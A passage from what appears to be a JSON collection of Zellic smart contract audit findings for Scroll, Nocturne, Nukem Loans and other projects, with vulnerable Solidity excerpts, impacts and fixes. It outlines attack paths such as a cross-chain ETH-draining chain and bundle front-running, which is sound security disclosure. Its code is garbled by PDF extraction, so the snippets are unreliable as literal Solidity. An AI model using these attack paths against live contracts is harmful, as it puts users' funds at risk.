Category: Business Logic Likelihood: Low Severity: Low : Medium To send a message to another chain, a user interacts with the SourceAMB contract on the source chain, waits for the corresponding light client to be synchronized on the recipient chain, and then interacts with the TargetAMB contract on the recipient chain. As a safety mechanism, a source chain can be frozen to prevent any messages re- ceived from being executed. The TargetAMB contract uses a frozen mapping to keep track of which chains are frozen. The SourceAMB contract does not use this mapping, despite inheriting the TelepathyStorage contract. For the SourceAMB contract, a sendingEnabled global variable is used as an alterna- tive, which should dictate whether or not the sending component of the messages is enabled. The naming and the states are not, however, consistent with the TargetAMB contract. In case the TargetAMB freezes a SourceAMB chain before the sendingEnabled is set to false on the SourceAMB, the SourceAMB contract will still be able to send messages to the TargetAMB contract even though they cannot be received. This is not a security issue, but it is a potential source of confusion and could lead to unexpected behavior such as assets being locked up on one side of a bridge. We recommend that the SourceAMB contract should also use the frozen mapping to keep track of which chains are frozen, similar to the current implementation of the TargetAMB contract. If not already established, an off-chain rule should also be adhered to that the freezing of a chain must begin from the SourceAMB contract\u2019s side and then spread to the TargetAMB side. This way, the freezing of a chain will be consistent across the SourceAMB and Targe- tAMB sides of the bridge and will be easier to reason about. Zellic Succinct The finding has been acknowledged by Succint. Their official response is reproduced below: We are not going to address this issue, as the freezing is only meant for execution side explicitly. Zellic Succinct", + "html_url": "https://github.com/Zellic/publications/blob/master/Succinct Telepathy - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Arrays\u2019 lengths are not checked", + "labels": [ + "Zellic" + ], + "body": "Target: TelepathyRouter Category: Coding Mistakes Likelihood: Low Severity: Low : Medium The initialize function in the TelepathyRouter contract does not check the length of the sourceChainIds array, which is passed as a parameter. function initialize( uint32[] memory _sourceChainIds, address[] memory _lightClients, address[] memory _broadcasters, address _timelock, address _guardian, bool _sendingEnabled ) external initializer { /) ...)) for (uint32 i = 0; i < sourceChainIds.length; i+)) { lightClients[sourceChainIds[i]] = ILightClient(_lightClients[i]); broadcasters[sourceChainIds[i]] = _broadcasters[i]; frozen[sourceChainIds[i]] = false; } sendingEnabled = _sendingEnabled; version = VERSION; } Due to the fact that the initialize function is called only once, it will likely be thor- oughly tested before being deployed. However, if the _sourceChainIds, _lightClien ts, or _broadcasters arrays mismatch in length, the initialize function will fail and the contract will be left in a noninitialized state, allowing malicious actors that monitor the transaction pool with the possibility of calling the initialize function and taking control of the contract. Zellic Succinct We recommend adding a check to ensure that the length of the _sourceChainIds, _li ghtClients, and _broadcasters arrays are identical. function initialize( uint32[] memory _sourceChainIds, address[] memory _lightClients, address[] memory _broadcasters, address _timelock, address _guardian, bool _sendingEnabled ) external initializer { /) ...)) require(_lightClients.length =) _broadcasters.length); require(_lightClients.length =) _sourceChainIds.length); for (uint32 i = 0; i < sourceChainIds.length; i+)) { lightClients[sourceChainIds[i]] = ILightClient(_lightClients[i]); broadcasters[sourceChainIds[i]] = _broadcasters[i]; frozen[sourceChainIds[i]] = false; } sendingEnabled = _sendingEnabled; version = VERSION; } Additionally, we recommend removing the frozen[sourceChainIds[i]] = false; line, as it is not needed. The frozen mapping is initialized to false by default for all keys. The issue has been fixed in commit 22832db0. Zellic Succinct", + "html_url": "https://github.com/Zellic/publications/blob/master/Succinct Telepathy - Zellic Audit Report.pdf" + }, + { + "title": "3.1 The onlyOwner modifier is missing in the ScrollChain contract", + "labels": [ + "Zellic" + ], + "body": "Target: ScrollChain Category: Business Logic Likelihood: Low Severity: Medium : Medium In the ScrollChain contract, the importGenesisBatch function works as an initializer for the contract. It sets the initial committed batches\u2019 hash and the first finalized state root, which are fundamental for the contract to function properly. Currently, there is no check on whether the function is called by the owner of the contract, which could lead to a malicious actor calling the function first. function importGenesisBatch(bytes calldata _batchHeader, bytes32 _stateRoot) external { /) check genesis batch header length require(_stateRoot !) bytes32(0), \u201dzero state root\u201d); /) check whether the genesis batch is imported require(finalizedStateRoots[0] =) bytes32(0), \u201dGenesis batch imported\u201d); (uint256 memPtr, bytes32 _batchHash) = _loadBatchHeader(_batchHeader); /) check all fields except `dataHash` and `lastBlockHash` are zero unchecked { uint256 sum = BatchHeaderV0Codec.version(memPtr) + BatchHeaderV0Codec.batchIndex(memPtr) + BatchHeaderV0Codec.l1MessagePopped(memPtr) + BatchHeaderV0Codec.totalL1MessagePopped(memPtr); require(sum =) 0, \u201dnot all fields are zero\u201d); } require(BatchHeaderV0Codec.dataHash(memPtr) !) bytes32(0), \u201dzero data hash\u201d); Zellic Scroll Tech require(BatchHeaderV0Codec.parentBatchHash(memPtr) =) bytes32(0), \u201dnonzero parent batch hash\u201d); committedBatches[0] = _batchHash; finalizedStateRoots[0] = _stateRoot; emit CommitBatch(_batchHash); emit FinalizeBatch(_batchHash, _stateRoot, bytes32(0)); } The main implication is that the contract will not function as expected, since both the initial state root and the committed batch can be set to wrong values by the attacker. The Likelihood of this issue is set to Low, however, since the way the contract will theoretically be deployed should not allow for the issue to ever happen. The onlyOwner modifier should be added to the importGenesisBatch function to ensure that only the owner of the contract can call it. Alternatively, any other role can be used, as long as it is ensured that the role is only assigned to a privileged address. Remmediation This issue has been acknowledged by Scroll Tech. Zellic Scroll Tech", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll - 09.27.23 Zellic Audit Report.pdf" + }, + { + "title": "3.2 Addtional checks could be performed", + "labels": [ + "Zellic" + ], + "body": "Target: L2StandardERC20Gateway, L2GasPriceOracle Category: Business Logic Likelihood: Medium Severity: Low : Low Checks are an important part of secure smart contract development. More often than not, they form important invariants that must be maintained for the contract to func- tion properly. Some of the contracts do not perform additional checks on variables or parameters. This could lead to unexpected behavior or even potential vulnerabilities down the development road. In L2StandardERC20Gateway, the first deposit of a new token on a chain typically implies deploying that token. For that, the contract checks whether the extcodesize of the token is greater than zero (i.e., the address is a contract) and deploys the token if it is not, via the _deployL2Token function. function finalizeDepositERC20(...))) external payable override onlyCallByCounterpart nonReentrant { bool _hasMetadata; (_hasMetadata, _data) = abi.decode(_data, (bool, bytes)); bytes memory _deployData; bytes memory _callData; if (_hasMetadata) { (_callData, _deployData) = abi.decode(_data, (bytes, bytes)); } else { require(tokenMapping[_l2Token] =) _l1Token, \u201dtoken mapping mismatch\u201d); _callData = _data; } if (!_l2Token.isContract()) { /) first deposit, update mapping tokenMapping[_l2Token] = _l1Token; _deployL2Token(_deployData, _l1Token); } Zellic Scroll Tech /) ...)) However, the contract does not check whether the _deployData is empty or not (as it does a few lines above via the _hasMetadata variable). This will lead to a revert in the _deployL2Token function, since it will not be able to decode the _deployData empty bytes array. function _deployL2Token(bytes memory _deployData, address _l1Token) internal { address _l2Token = IScrollStandardERC20Factory(tokenFactory).deployL2Token(address(this), _l1Token); (string memory _symbol, string memory _name, uint8 _decimals) = abi.decode( _deployData, (string, string, uint8) ); In L2GasPriceOracle, the setIntrinsicParams function does not perform any checks on any of the parameters: function setIntrinsicParams( uint64 _txGas, uint64 _txGasContractCreation, uint64 _zeroGas, uint64 _nonZeroGas ) public { require(whitelist.isSenderAllowed(msg.sender), \u201dNot whitelisted sender\u201d); intrinsicParams = IntrinsicParams({ txGas: _txGas, txGasContractCreation: _txGasContractCreation, zeroGas: _zeroGas, nonZeroGas: _nonZeroGas }); /) ...)) } Zellic Scroll Tech The impact of this issue is low, since in both presented cases the function will either revert on its own eventually or only allow privileged users to call it. However, main- taining a consistent check pattern is important for the security of the contract as well as ensuring that the contract will not revert unexpectedly. We recommend adding checks to the functions to ensure that the contract will not revert unexpectedly. In the case of L2StandardERC20Gateway, we recommend adding a check on the _dep loyData variable to ensure that it is not empty, right before calling the _deployL2Token function. /) ...)) if (!_l2Token.isContract()) { /) first deposit, update mapping tokenMapping[_l2Token] = _l1Token; require(_deployData.length > 0, \u201ddeploy data is empty\u201d); _deployL2Token(_deployData, _l1Token); } In the case of L2GasPriceOracle, we recommend adding a check on the parameters to ensure that they are not zero or that they are within a certain bound. For example, function setIntrinsicParams( uint64 _txGas, uint64 _txGasContractCreation, uint64 _zeroGas, uint64 _nonZeroGas ) public { require(whitelist.isSenderAllowed(msg.sender), \u201dNot whitelisted sender\u201d); require(_txGas > 0, \u201dtxGas is 0\u201d); require(_txGasContractCreation > _txGas &) _txGasContractCreation > 1e18, \u201dtxGasContractCreation is 0 or less than txGas\u201d); /) ...)) intrinsicParams = IntrinsicParams({ Zellic Scroll Tech txGas: _txGas, txGasContractCreation: _txGasContractCreation, zeroGas: _zeroGas, nonZeroGas: _nonZeroGas }); /) ...)) } This issue has been acknowledged by Scroll Tech and a partial fix, addressing the issue in L2GasPriceOracle, has been implemented in 1437c267. Zellic Scroll Tech", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll - 09.27.23 Zellic Audit Report.pdf" + }, + { + "title": "3.1 Gateways call the Scroll bridge without supplying a fee", + "labels": [ + "Zellic" + ], + "body": "Target: L2ERC721Gateway, L2ERC1155Gateway Category: Business Logic Likelihood: High Severity: Medium : Medium The L2ERC721Gateway and L2ERC1155Gateway contracts perform cross-chain invo- cations by calling the sendMessage function in several different functions. However, these contracts do not send any native value or send an equal amount of native to- kens and specify the amount to be the same. This results in no fee being left for the bridge, causing the call to always revert. An example from L2ERC721Gateway can be found below. function _withdrawERC721( address _token, address _to, uint256 _tokenId, uint256 _gasLimit ) internal nonReentrant { ...)) IL2ScrollMessenger(messenger).sendMessage(counterpart, msg.value, _message, _gasLimit); ...)) } The gateways are not functional, and the cross-chain invocations made by the L2ERC721Gateway and the L2ERC1155Gateway will always fail and revert. Change the business logic to account for the bridge fee. Zellic Scroll This issue has been acknowledged by Scroll, and a fix was implemented in commit 7fb4d1d3. Zellic Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll - 05.26.23 Zellic Audit Report.pdf" + }, + { + "title": "3.2 ERC1155 token minting may fail", + "labels": [ + "Zellic" + ], + "body": "Target: L2ERC1155Gateway Category: Business Logic Likelihood: Medium Severity: Medium : Medium When an ERC1155 token is transferred from L1ERC1155Gateway to the L2ERC1155Gateway, the finalizeDepositERC1155 or finalizeBatchDepositERC1155 functions are called. These, in turn, call the mint or batchMint functions of the underlying ERC1155 contract. A particular detail of both of these functions is the fact that upon minting with mint, a callback is triggered on the destination address. function finalizeDepositERC1155( address _l1Token, address _l2Token, address _from, address _to, uint256 _tokenId, uint256 _amount ) external override nonReentrant onlyCallByCounterpart { IScrollERC1155(_l2Token).mint(_to, _tokenId, _amount, \u201d\u201d); emit FinalizeDepositERC1155(_l1Token, _l2Token, _from, _to, _tokenId, _amount); } Here is the code snippet with the callback from the original ERC1155 contract: function _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual { require(to !) address(0), \u201dERC1155: mint to the zero address\u201d); address operator = _msgSender(); uint256[] memory ids = _asSingletonArray(id); uint256[] memory amounts = _asSingletonArray(amount); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); Zellic Scroll _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _afterTokenTransfer(operator, address(0), to, ids, amounts, data); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } The _doSafeTransferAcceptanceCheck function is responsible for triggering the call- back function onERC1155Received if the _to address is a contract. However, if the con- tract at _to does not implement the IERC721Receiver interface, the onERC1155Received function will not be called, resulting in the failure of the mint function. Should _to be a contract that does not inherit the IERC1155Receiver interface, the m int function will fail, leading to the token not being minted on the L2 side as well as locking the funds on the L1 side. To solve this issue, the protocol will require the manual intervention of the counterpart address to mint the token on the L2 side to another _to address, possibly escalating into a dispute if the funds are not promptly released. We recommend exercising additional caution in this scenario because a reversion could result in the ERC1155 becoming stuck in the L1 gateway. Ideally, in the future, a system should be implemented to check the Merkle tree and recover the ERC1155 if the message fails on L2. This issue has been acknowledged by Scroll. Zellic Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll - 05.26.23 Zellic Audit Report.pdf" + }, + { + "title": "3.3 Arbitrary calldata calls on arbitrary addresses", + "labels": [ + "Zellic" + ], + "body": "Target: L1ScrollMessenger, L2ScrollMessenger, L1ETHGateway, L2ETHGateway Category: Business Logic Likelihood: N/A Severity: Medium : Medium The messenger contracts allow for the relaying of messages from one chain to the other. As currently implemented, they perform a low-level call to an arbitrary address with arbitrary calldata, both supplied as messages over the bridge. This allows for the execution of external calls in the context of the messenger contract, which essentially means that calls are executed on behalf of the messenger contract. function relayMessageWithProof( address _from, address _to, uint256 _value, uint256 _nonce, bytes memory _message, L2MessageProof memory _proof ) external override whenNotPaused onlyWhitelistedSender(msg.sender) { /) ...)) /) @todo check more `_to` address to avoid attack. require(_to !) messageQueue, \u201dForbid to call message queue\u201d); require(_to !) address(this), \u201dForbid to call self\u201d); /) @note This usually will never happen, just in case. require(_from !) xDomainMessageSender, \u201dInvalid message sender\u201d); xDomainMessageSender = _from; (bool success, ) = _to.call{value: _value}(_message); Currently, the _to is checked against the message queue and the messenger contract itself. However, it is not checked against any other contracts, so theoretically it can call any contract\u2019s functions. Similarly, the gateways allow moving native funds from one chain to the other. The same low-level call is used; however, the calldata is currently not passed over the Zellic Scroll bridge. In the future, however, it could be passed over the bridge, allowing for the execution of arbitrary external calls. function finalizeWithdrawETH( address _from, address _to, uint256 _amount, bytes calldata _data ) external payable override onlyCallByCounterpart { /) @note can possible trigger reentrant call to this contract or messenger, /) but it seems not a big problem. /) solhint-disable-next-line avoid-low-level-calls (bool _success, ) = _to.call{value: _amount}(\u201d\u201d); require(_success, \u201dETH transfer failed\u201d); /) @todo farward _data to `_to` in near future. emit FinalizeWithdrawETH(_from, _to, _amount, _data); } Due to the nature of arbitrary calls, it is likely that an attack could directly steal any type of funds (ERC20, ERC721, native, etc.) from the messenger contracts. Moreover, should users give allowance to the messenger contracts, the attacker could also steal any ERC20 tokens that the user has given allowance for, by calling the transferFrom function on the respective ERC20 contracts. At present, there is no immediate security concern for this finding. However, it is worth noting that if data forwarding components are naively implemented then it opens up an avenue for a critical bug, the details follow: In the case of the gateways, an attacker could supply the L2ScrollMessenger itself as the target and supply data using the data forwarding feature such that the L1ETHGateway could be tricked into giving away ETH, as any message could be forged on behalf of the L2ETHGateway and it would be considered legitimate on the L1 side because it came from the appropriate counterpart. The total attack chain would look like this: Zellic Scroll L1EthGateway -> L1ScrollMessenger -> L2ScrollMessenger -> L2EthGateway -> finalizeDepositETH -> _to.call -> L2ScrollMessenger -> L1ScrollMessenger -> L1GatewayETH (Withdraw any amount of ETH) Another consequence of these direct calls is that user errors, such as providing ap- proval incorrectly to the scroll messenger, can be exploited by malicious users. They can make cross-chain calls from one side of the chain to the other, supplying call data to specific smart contracts or tokens, to execute functions like transferFrom. We recommend ensuring that the _to address is a contract and that it implements a custom interface. This way, even if the contract is an arbitrary one, it will need to follow Scroll\u2019s interface, ensuring the context of the call is correct and no arbitrary actions can be performed on behalf of the messenger or gateway contracts. An example of such an interface could be /) SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IScrollCallback { ///)) @notice Handle the callback from L1/L2 contracts. ///)) @param to The address of recipient's account on L1/L2. ///)) @param amount The amount of ETH to be deposited. function handleContractCallback( bytes memory message ) external payable; } The messenger contract would then check that the _to contract implements the in- terface and call it with the message as the argument. function relayMessageWithProof( address _from, address _to, uint256 _value, uint256 _nonce, bytes memory _message, Zellic Scroll L2MessageProof memory _proof ) external override whenNotPaused onlyWhitelistedSender(msg.sender) { /) ...)) /) @todo check more `_to` address to avoid attack. require(_to !) messageQueue, \u201dForbid to call message queue\u201d); require(_to !) address(this), \u201dForbid to call self\u201d); /) @note This usually will never happen, just in case. require(_from !) xDomainMessageSender, \u201dInvalid message sender\u201d); xDomainMessageSender = _from; (bool success, ) = _to.call{value: _value}(_message);` bytes memory payload = abi.encodeWithSelector( IScrollCallback.handleContractCallback.selector, _message ); (bool success, ) = _to.call{value: _value}(payload); } The issue has been acknowledged by Scroll, and a fix was implemented in commit bfe29b41. It\u2019s important to note that neither the L1ScrollMessenger nor the L2Scroll Messenger have been updated with the fix, as the Scroll team is yet to decide on the best way to implement it. Zellic Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll - 05.26.23 Zellic Audit Report.pdf" + }, + { + "title": "3.1 Out-of-bounds read from toAddressBytes allows undefined behavior", + "labels": [ + "Zellic" + ], + "body": "Target: OFTCore, ONFT721Core, ONFT1155Core Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The following assembly code may read up to 32 bytes out of bounds of toAddressByt es because the size of toAddressBytes is not checked: address toAddress; assembly { toAddress :) mload(add(toAddressBytes, 20)) } There is no direct security impact of this instance of out-of-bounds read. However, this code pattern allows undefined behavior and is potentially dangerous. In the past, even low-level vulnerabilities have been chained with other bugs to achieve critical security compromises. The size of a uint is 32 bytes. So, the branch that uses the MLOAD instruction should require that the size of toAddressBytes is greater than or equal to the read size of 32 bytes. TBD Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Solidity Examples - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Attacker-deployed ERC-20s cause reentrancy and unveri- fied deposits", + "labels": [ + "Zellic" + ], + "body": "Target: Handler Category: Business Logic Likelihood: Medium Severity: High : High The deposit-limit feature limits the rate at which ERC-20 tokens can enter and be mixed by Nocturne. Another feature, the screener-signature requirement, allows Nocturne to identify the owner of funds entering the protocol in order to ensure legal compliance. One way that funds can enter Nocturne without being subject to the deposit limit or the screener-signature requirement is in the form of refund notes. At any time, the owner of previously deposited notes can issue an operation that unwraps the notes, does a series of actions (whitelisted external calls) with them, and then any assets resulting from those calls are rewrapped into new notes. The example use case for this feature is to enable Uniswap swaps of hidden assets. Nocturne takes many steps to prevent these actions from introducing new value into the protocol or introducing any reentrancy hazards, including ensuring that the tracked assets have zero balances before running the actions, requiring the top-level bundle submission call to be made from an EOA, and strictly whitelisting the calls an ac- tion can be. In the version of the configuration we audited, the only swap methods whitelisted were Uniswap\u2019s swapExactInput and swapExactInputSingle. However, a check that was missed is the tokens specified in the Uniswap swap path, including the tokenIn and path parameters. If the tokenIn parameter or any token in the path parameter is an attacker-deployed ERC-20, Uniswap will call ERC20.transfer on that token, which means the attacker can execute arbitrary code in the middle of the action. An attacker can cause arbitrary calls to be done in the middle of an action through an attacker-deployed ERC-20 token\u2019s ERC20.transfer function called by Uniswap during a swap. Zellic Nocturne These arbitrary calls can transfer funds into the Handler, which bypasses deposit limits and screener checks; reenter Nocturne functions not gated by a reentrancy guard; and execute attacks on other protocols in order to immediately deposit the proceeds from such exploitation into Nocturne. The Handler must ensure that all tokens Uniswap calls transfer on are legitimate to- kens, tokens that do not cause attacker-specified behavior when called. For exactInputSingle, this means checking the tokenIn and tokenOut parameters, and for exactInput, this means deserializing the path parameter and checking each token in it. This issue is difficult to remediate because many tokens would need to be whitelisted for the purpose of being on a Uniswap path. (This could be a separate, more lax whitelist than the whitelist of tokens that Nocturne is willing to store.) If the best ex- ecution price for a swap that a nonmalicious user wishes to execute has a path that contains a token that is not on the whitelist, that user will have to get a suboptimal execution price for the swap. This issue has been acknowledged by Nocturne, and a fix was implemented in com- mits 50fe52a9 and 84f712da. Zellic Nocturne", + "html_url": "https://github.com/Zellic/publications/blob/master/Nocturne - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Arbitrage opportunities bypass deposit limits", + "labels": [ + "Zellic" + ], + "body": "Target: Handler Category: Business Logic Likelihood: Low Severity: High : High See Finding 3.1 for a description of the security guarantees around the external calls an action in an operation can make. One logical consequence of allowing actions to execute swaps is that they can turn a profit by finding arbitrage opportunities between cycles of Uniswap pools. This is normally alright, but attackers can create larger-than-usual arbitrage opportunities by spending money outside Nocturne. If they do that and then resolve that arbitrage opportunity inside the protocol using an action, they have effectively made a deposit that bypasses the deposit limits and the screener-signature requirement. If an attacker works with an Ethereum block builder, they can create an arbitrage op- portunity immediately before the bundle gets processed by intentionally imbalancing a chosen cycle of Uniswap pools. For example, if they choose tokens A, B, and C, they can use the A/B pool to trade A for B, and then use the B/C and C/A pools together to trade B for A. The former pool will have an inflated quantity of A and a scarcity of B, and the latter pair of pools will have an inflated quantity of B and a scarcity of A. The process can be repeated until all the funds have been spent on imbalancing the pool (or, a sufficiently large flash loan can be taken out so that all the funds the attacker wishes to \u201cdeposit\u201d are spent imbalancing the pool in one or a few cycles \u2014 this saves gas). Then, after the arbitrage opportunity is set up outside Nocturne, they execute a swap inside Nocturne rebalancing that cycle and extracting most of the funds they spent on imbalancing the pool, minus fees. Those funds are then added as refund notes, bypassing deposit limits and the screener-signature requirement. An attacker must work with a block builder to execute this type of deposit because otherwise there is a significant risk of losing the funds to an arbitrage bot. Safely check the total value of the assets before and after an action that does a swap, and reject the swap as unsafe if the increase in total value exceeds a threshold. If this Zellic Nocturne check is done on-chain (and bundle submission is still permissionless), care must be taken so that the oracle cannot also be manipulated. This issue has been acknowledged by Nocturne. Zellic Nocturne", + "html_url": "https://github.com/Zellic/publications/blob/master/Nocturne - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Bundler calls can be identified by MEV bots and front-run", + "labels": [ + "Zellic" + ], + "body": "Target: Teller Category: Protocol Risks Likelihood: Low Severity: Low : Low Since being a bundler is permissionless, anyone can call Teller.processBundle to sub- mit any valid bundle of operations. When submitting a bundle, the bundler pays for the gas spent in both verifying the proofs and executing the actions via Ethereum transaction fees. During the transaction, it then gets reimbursed for that gas via a transfer of unwrapped assets earmarked for gas. However, this presents a perverse economic incentive for MEV-aware Ethereum block builders. Before including a processBundle transaction from a benign bundler in an Ethereum block, if a block builder simulates the transaction, they will find that if they front-run the transaction with an identical transaction sent from their own ad- dress instead, the transaction will happen in the same way, except they pay the gas cost and then they are paid the gas refund instead of the bundler. Doing this would cause the real bundler\u2019s transaction to revert, but the real bundler still pays the gas for verifying the proofs. In processBundle, function processBundle( Bundle calldata bundle ) { external override whenNotPaused nonReentrant onlyEoa returns (uint256[] memory opDigests, OperationResult[] memory opResults) Operation[] calldata ops = bundle.operations; /) ---)) snip ---)) (bool success, uint256 perJoinSplitVerifyGas) = _verifyAllProofsMetered( Zellic Nocturne ops, opDigests ); require(success, \u201dBatch JoinSplit verify failed\u201d); uint256 numOps = ops.length; opResults = new OperationResult[](numOps); for (uint256 i = 0; i < numOps; i+)) { try _handler.handleOperation( ops[i], perJoinSplitVerifyGas, msg.sender ) returns (OperationResult memory result) { /) ---)) snip ---)) Note that first, a call to _verifyAllProofsMetered occurs, which expensively verifies the proofs and measures the gas required, setting perJoinSplitVerifyGas. Next, the call to handleOperation calls _processJoinSplitsReservingFee, which checks the nul- lifiers. This is what reverts in a second call, because the nullifiers will already have been used. This means that, from a MEV-seeking block builder\u2019s perspective, if they front-run the bundler\u2019s transaction, they will still be paid for the gas price of verifying the proof. They need to pay it in their transaction, but the real bundler\u2019s reverted transaction will repay them about the same amount. So, they profit if they execute this front-run, and the real bundler is not repaid for the gas they spend on the proof verification. Block builders are perversely incentivized to front-run the submission of bundles by bundlers. In a perfect economy, this means all bundlers must work with block builders or else their transactions will be reverted, front-run by the block builder issuing the same transaction, and they will pay for the gas for the verification circuit without any reimbursement. This disincentivizes block builders from building blocks. Check the nullifiers of the joinsplits before checking the proofs so that a repeat sub- mission of the same Operation fails much more cheaply, rendering the front-running of bundle submissions economically unviable. Zellic Nocturne This issue has been acknowledged by Nocturne. Nocturne will ensure that bundlers submit their transactions through Flashbots Protect, which protects against front- running. Zellic Nocturne", + "html_url": "https://github.com/Zellic/publications/blob/master/Nocturne - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Operation with zero joinsplits can be tampered with", + "labels": [ + "Zellic" + ], + "body": "Target: Handler Category: Business Logic Likelihood: Low Severity: Low : Low When an operation is processed in a transaction submitted by a bundler, it can specify an arbitrary sequence of external calls to do. These calls are checked by calculating the digest of the Operation struct and then supplying that digest as a public input into the joinsplit circuits. However, if an operation has zero joinsplits, no joinsplit circuits are verified, and so a bundler can freely change the calls executed. There is not much impact, because if an operation has no joinsplits, no assets are unwrapped, and so the external calls only have access to the assets present in the contract before the operation (in the typical case, no assets). Additionally, if an operation has no joinsplits, there is no way to repay the bundler for gas, so a bundler is disincentivized from including it in the bundle in the first place. However, a user can still submit such an operation, and if they do, the bundler can modify it at will. Disallow operations with no joinsplits. This issue has been acknowledged by Nocturne, and a fix was implemented in commit 50fe52a9. Zellic Nocturne", + "html_url": "https://github.com/Zellic/publications/blob/master/Nocturne - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Centralized pricing arbitrage", + "labels": [ + "Zellic" + ], + "body": "Target: Market Category: Business Logic Likelihood: High Severity: High : High As the protocol uses a combination of automated market maker (AMM) oracles and centralized prices provided in signatures, an arbitrage opportunity may exist that will result in the drainage of pools. function borrow(...))) public virtual returns (uint256 debt_shares) { require( checkSignature(authorizer, market, price, deadline, v, r, s), \u201dinvalid.signature\u201d ); require(authorizer =) _owner, \u201dauthorizer\u201d); require(market =) address(this), \u201dmarket\u201d); require(deadline >) block.timestamp, \u201dexpired\u201d); /) protect against price manipulation require(validatePrice(price, amount), \u201dinvalid.price\u201d); debt_shares = _debt.withdraw(amount, receiver, owner); } } The signatures have a deadline of five minutes and can be constantly polled from off- chain components. A malicious user could continuously poll these signatures, waiting for the increase in price of those tokens, and exploit the price difference between the signed price five minutes ago and the current market price. If the price goes up substantially relative to the price in the signature five minutes ago, there may be an edge case where a user can actually borrow more capital than the price of their collateral. For markets that have high collateralization ratio, this can be especially risky because in addition to that, AMM oracles can be manipulated to a certain extent (limited by validatePrice) in the protocol. Zellic Nukem Loans For some market configurations that have have a 90% collateralization rate and 95% liquidation rate, the delta allowed for the underlying AMM is ~5%. A malicious user constantly polling for signatures would have to wait for one instance of such a price movement in the market in order to execute such an arbitrage. With the current architecture, such attacks will always be possible in case of drastic price movements in the five-minute period. However, the goal here is to make this unlikely, by reducing either maximum collateralization rates or reducing the deadline time period such that the required price movement is almost impossible in the time period. The Nukem team agreed with this finding and decided to lower collateralization rates in existing market configurations. The team plans to add additional mitigations in a future update. Zellic Nukem Loans 3.5 [FIXED] Slippage is set to zero during swap Target: Credit, Collateral Category: Business Logic Likelihood: High Severity: High : High Multiple slippage checks are set to zero when performing a token swap. This is hazardous because it could allow users to trade at 100% slippage rates. swapper.swap(asset_, address(this), receiver, amount, 0); We recommend passing a nonzero slippage parameter for the swap function and mak- ing sure that the user is aware of the slippage rate. This issue was fixed by enforcing a 2% maximum slippage from the reference value of the swap provided by the signed reserves, added in commit 571dbc66. Zellic Nukem Loans 3.6 [FIXED] EIP-712 replayable signature in case of fork Target: EIP712 Category: Business Logic Likelihood: Low Severity: High : High EIP-712 is a standard for the hashing and signing of typed, structured data. The stan- dard code does not allow replaying signatures in case of a fork by default, as it rebuilds the domain separator in case the cached address of the contract and the cached chain ID differ to current values. However, in the case of the project\u2019s implementation, the aforementioned checks are removed. The domain separator will not be updated in case of a fork, and the signature can be replayed. function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) =) _cachedThis &) block.chainid =) _cachedChainId) { return _cachedDomainSeparator; } else { return _buildDomainSeparator(); } } Even though the signatures can be replayed, the impact of this issue is relatively lim- ited due to time constraints, mainly affecting the ERC20Permit implementation, which has direct access to user funds. The other contracts that use EIP-712 for verifying sig- natures do not allow performing actions on behalf of other users, so the impact there is limited to a user\u2019s own actions. We recommend using the default implementation of the EIP-712 standard to remove the possibility of replaying signatures in case of a fork. Zellic Nukem Loans The Nukem team remediated this issue in commit 46abe2cd by always rebuilding the domain separator. Zellic Nukem Loans 3.7 [FIXED] Assure debtors are auctionable Target: Auctions Category: Business Logic Likelihood: Low Severity: Medium : Medium The Auctions contract handles the liquidation of debtors. The groupedLiquidation function is used by the owner of the contract to liquidate multiple debtors at once. However, it does not check that the debtors are auctionable, which means that if the owner of the contract by mistake passes a nonauctionable debtor, the liquidation will still be performed, and the debtors will be left in an inconsistent state. function groupedLiquidation( address market, address[] memory debtors ) external returns (uint256 liquidated, uint256 tip) { require( (_msgSender() =) owner()) |) /) owner attributes[_msgSender()].has(Role.EXECUTE_AUCTION), \u201dauthorizer\u201d ); (liquidated, tip) = IMarket(market).credit().liquidate( debtors, _msgSender() ); emit GroupedLiquidations( market, block.timestamp, debtors, liquidated, tip, _msgSender() ); } Zellic Nukem Loans Since this function is a privileged function, the impact is limited to the owner of the contract. However, it can still lead to an inconsistent state of the debtors, which can lead to further unexpected behavior. We recommend individually checking that each debtor is auctionable before per- forming the grouped liquidation. For example, function groupedLiquidation( address market, address[] memory debtors ) external returns (uint256 liquidated, uint256 tip) { for(uint256 i = 0; i < debtors.length; i+)) { require(isAuctionable(market, debtors[i]), \u201dnot auctionable\u201d); } /) ...)) } The Nukem team fixed this finding in commit 571dbc66 by ensuring every debtor is auctionable. Zellic Nukem Loans 3.8 [FIXED] User\u2019s max collateralization is limited by the size of the market Target: Collateral Category: Business Logic Likelihood: Low Severity: Low : Low Liquidations in the protocol affect the underlying AMM, which may cause more liqui- dations. This is a cascading effect. To counteract this, the worth of user collateral is calculated conservatively (the swap price is calculated as if one liquidation would set off all the liquidations). This works, however it devalues the user collateral, and this effect becomes worse as the market grows relative to the underlying pool. Users risk more collateral for smaller loans and may be able to borrow less than ex- pected. Re-architect the conservative value calculations to only account for positions that a liquidation would actually put at risk. The Nukem team has acknowledged this issue and will put it as an object in their road map once markets start becoming large relative to their underlying pools. Zellic Nukem Loans", + "html_url": "https://github.com/Zellic/publications/blob/master/Nukem Loans - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Buffer overflow in Unicode expansion", + "labels": [ + "Zellic" + ], + "body": "Target: tx_display.c (ledger-cosmos) Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The tx_display_translation function in tx_display.c performs a translation of char- acters from src into characters written to dst. The purpose is to substitute ASCII control characters with their escape sequence equivalents and transform non-ASCII characters into their Unicode escape sequence equivalents. Any trailing 